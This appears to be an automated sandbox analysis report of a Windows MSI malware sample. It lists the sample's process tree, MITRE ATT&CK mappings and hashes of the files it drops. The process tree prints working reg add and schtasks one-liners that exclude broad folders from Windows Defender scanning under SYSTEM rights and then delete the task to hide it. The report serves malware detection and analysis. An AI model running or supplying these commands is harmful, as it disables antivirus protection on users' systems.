C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:1608
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:1756 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:3388
-
-
C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:440
-
-
C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:1236
-
-
-
C:\Windows\system32\cmd.exe"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\RyxCbq" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:6064 -
C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\RyxCbq" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:6036
-
-
C:\Windows\system32\cmd.execmd.exe1⤵PID:1876
-
C:\Windows\system32\cmd.exe"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2644 -
C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:5432
-
-
C:\Windows\system32\cmd.exe"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5808 -
C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:2996
-
-
C:\Windows\system32\cmd.exe"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5812 -
C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:716
-
-
C:\Windows\system32\cmd.exe"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4256 -
C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:4548
-
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Windows Command Shell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Event Triggered Execution
1Installer Packages
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Event Triggered Execution
1Installer Packages
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Impair Defenses
1Disable or Modify Tools
1Indicator Removal
1Clear Persistence
1Modify Registry
2System Binary Proxy Execution
1Msiexec
1Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Config.Msi\e59dc8c.rbs
- Size 7KB
- SHA256 9923198b8a78002ffa9df7e410fc8484ad118d084534a4c9c8559f93fed2dcc0
- MD5 fa34028364bb65cf5c63ecef5f612af6
- SHA1 7009b50a19da770a78cab6f80511e919b7db00e8
- SHA512 5f2fdd44f579b8bbe87d087811462ca44a3d5411dc036ba1b35ca3cfbfd0891580d7344838e4335859632c578254804e9c3eee938d2971e90f2654d2fb64259e
- SSDEEP 96:+cXgu0CwofT6aUUF3g1CsThq/UF3g1C6j4/xpThqjHsS56TWt8dnUCKpljszIjBv:+cECwoLpzeIIVeI3CApbKpL
- TLSH T164F13001B31196D2E9911B75CB831B1637F2D3DAA320735B089E80285F573883EE27AB
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\RyxCbq\HKULLk.exe
- Size 135KB
- SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
- MD5 9ec587911e501b73b7cf09f05d0ae17d
- SHA1 5b62403cc9a668c6e5c70ace177fd54fcc4c5936
- SHA512 d05468a472373815c46ccb46ec743408365d24982d10d8a23ee0036c28cf3dacd05d74304ef2d4b7118f91ff3f631f676b2e86ddee92a02cf988b0d3c6247847
- SSDEEP 3072:MmhXb5pgtiaRENEErO9Uj4OqhhUvB4BNgQaJ:MmjgtiayGErsUKh3To
- TLSH T1D0D38C2776A474F9E1778635C8511A1AE772B8760770CB9F03A442A62F237D19E3EF20
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\RyxCbq\UxEnhance64.dll
- Size 3.1MB
- SHA256 1a5ccd61fb7c2a3acf791afc6a5723f54c4fdb07615e2358f9134cf5b814b21a
- MD5 7c3bd7458815ee1d419e7b6e2db6bcf1
- SHA1 93853b94698066b054f4429307c7e2c782ee5b3a
- SHA512 750f36b56cb9f8d082c19fa4bf34b162f651752b2c54c703d5fa51209bc5a4aeb05173e1ac6eead0282febf5a293b798860ac31a2f29424e8c13a91bdace52c6
- SSDEEP 49152:P9KpI8cBa0kj6BK0x3TiMQclkGo2PXk6rkwuuWG/+WizBedfb77N3SnKrKB+u:P9m29xx3Tiqt06ox6+z2rNNrKou
- TLSH T1F3E523E5B6D739F6D023CBF4DA62A1AD70393F505F635C5F3B8929014E62228973A390
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\RyxCbq\adoresd.dat
- Size 4.7MB
- SHA256 565065b6b6e80b2a16c8c1f7bd45c80c58790352e22bb06f350aa01e3597aeaf
- MD5 54f66d11a4401f1fc09a097c09e404a3
- SHA1 d836ebbcdbb970d2a88cb649f67e19ba1c3ed0f3
- SHA512 3c47ad99daa92779466efe2f6de1d4f4ee7a430095abbd9c88a97c604f64c930bba683da61f65851a9fdffda6f38ae3422360ee34297fa2b0fbd9756fc7de56e
- SSDEEP 98304:nmu1SwODpRGIRdXEMZYe6rFLoTTpMk6ZGvQv0Ss2i+XZXea1v5WZd8uCp:mu1SwOflfZPF6Ma0bsoa5+qd
- TLSH T12A3633368AE6F5C7E35B2A0AF36888DD12B0B7AD6E9D75C24AF070155DB30CE9015BC4
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\RyxCbq\msadox.tb
- Size 8KB
- SHA256 b133a2a0e6cccfa5d76c74c200ecf84d169e2dd483200b90ceb2057b5d2e2c5f
- MD5 8469b30b28300c497bbe548cfa59a2d3
- SHA1 17ed0de4a228b99d24cb112f60ab0dc9b0ccad81
- SHA512 e4091afad7620dedac43c6f2e495d88bdbf3593e7861cd168687a5046413dd1e50f50c2495a7f566b76618b32e56610c8c1af8dd0e8e897d5bdba4f95e0e7cd3
- SSDEEP 192:QqbZajnZ45X1q3JXglD+3vR8cwNhIMCGe2y0PQp:QsZqZOXQ3uqvR2Kfzp
- TLSH T1E5029E05D7A20CC3D2016C71CD9EB2F5AB13A1DADA3926719C67D4C16B072DD2CE620D
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\Installer\MSIE324.tmp
- Size 9.7MB
- SHA256 c06d8a1fe897fa398c1c5fa72600bb6f471f15a11c7bc43de4e9ff6e52eb7ed1
- MD5 c0d08363b080e0c464bfbd9b2d719efe
- SHA1 99b18db9c10d9cc29feb9f81f3d9b7ca744e5684
- SHA512 83bbdbc52463d1e685866b26b7d8c2f0f6e719392dc327ab645dbc3f0ea89f57ba5855212afa68d44271caaae58a0391a6a10d069fc375bdf7a1285af6ae9e21
- SSDEEP 196608:54bdxnkXj2DHPy1eMSaAvUD0p9MdghVvl5Ki0iyv4/tE3tKBtmthew2YEtCS:5OdxnkTs61IA29Md4vq1iyv4/23tStyc
- TLSH T19FA633C23AC823B0D657C7B08106347D7C9A3726F8B78D1EBA9E15104F72A252B7679D
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\Installer\e59dc8b.msi
- Size 9.8MB
- SHA256 3ccf32890cc7f0139abad2de6bd34411933f3bbe620b463b8fff611a8d3a9538
- MD5 dcff8a7df68ab936eb42de5326e1025d
- SHA1 b4e2a54072f15d7e6c4385a2bcb3b6b6e23f9620
- SHA512 4a987535936f5966e58d64bc1a15a81eb4fd8491b28e776e9647c47593edeaf508e516826e8cef83bc3b6efe3f66178d6a6484398e60fbaca85c0b6df1050c23
- SSDEEP 196608:V4bdxnkXj2DHPy1eMSaAvUD0/9MdghVvl5Ki0iyv4/tE3tKUtmthew2YEtCJ:VOdxnkTs61IAE9Md4vq1iyv4/23tXtyX
- TLSH T1C1A633C27AC823B0D257C3B08106647D7C6A7F11F9A78D1EB69E36005E72A352B7639D
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
- Size 26.1MB
- SHA256 6b40e2e299f929823b359f89671ad36fe2812e7aeb6f5e39154cf7f56f40fd20
- MD5 2078e1b43f012ddfe6b2d0e2ec8323f4
- SHA1 6ac4defdee417c86842c55eca38398a6059e4e79
- SHA512 e09dac997bffd657104f36544045038259c62f7ffad0e6efafdc46b8e7ac9e3a9786ede958d7f70e2e372731bbd2a4b6e6c368c94b5350d4e49705febaf78e20
- SSDEEP 24576:VFo3DMPAdoO/vvTL/SwJpilgfrejy7uKkkP7tknB/MnqZeIZ8YhWJwz4Nul:wHM
- TLSH T15157F71836F92110F7F79E3CA8F0AA2749397D5B9C15DE8D45811B8E0821F71E872F6A
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path \??\Volume{6392210f-0000-0000-0000-d08302000000}\System Volume Information\SPP\OnlineMetadataCache\{b611eb3b-1b04-4c38-81ae-103afa052ec6}_OnDiskSnapshotProp
- Size 6KB
- SHA256 d04c6b1a5d3677e4b8590ffaa9e6cd13ad8ed5e41ac780cf6eeb8d2f5bb0cb05
- MD5 fec0cf0cedd7ab546c8e36b1275f693f
- SHA1 85f5d91823559a7f5dec2853c9bdaf213f9ee096
- SHA512 38e19be9e83ac51af06bd40f20352cc73a17e374e31a457c3ca18b77a74faac16c7018573ad2d5dcfe2cd3b7c8fa456676824e505c49dd91bb231e5a00179202
- SSDEEP 96:Fp6xbyvc6DD84LTHzbOHXOHBlBRQn8Sc9XE56tOSVQpu:KAb++uVm
- TLSH T172D187085AE54711E2F3AB3129F18557A877B911EF33CB8E0198238E6630910F975F6B
- MD5 SHA1 SHA512 SSDEEP TLSH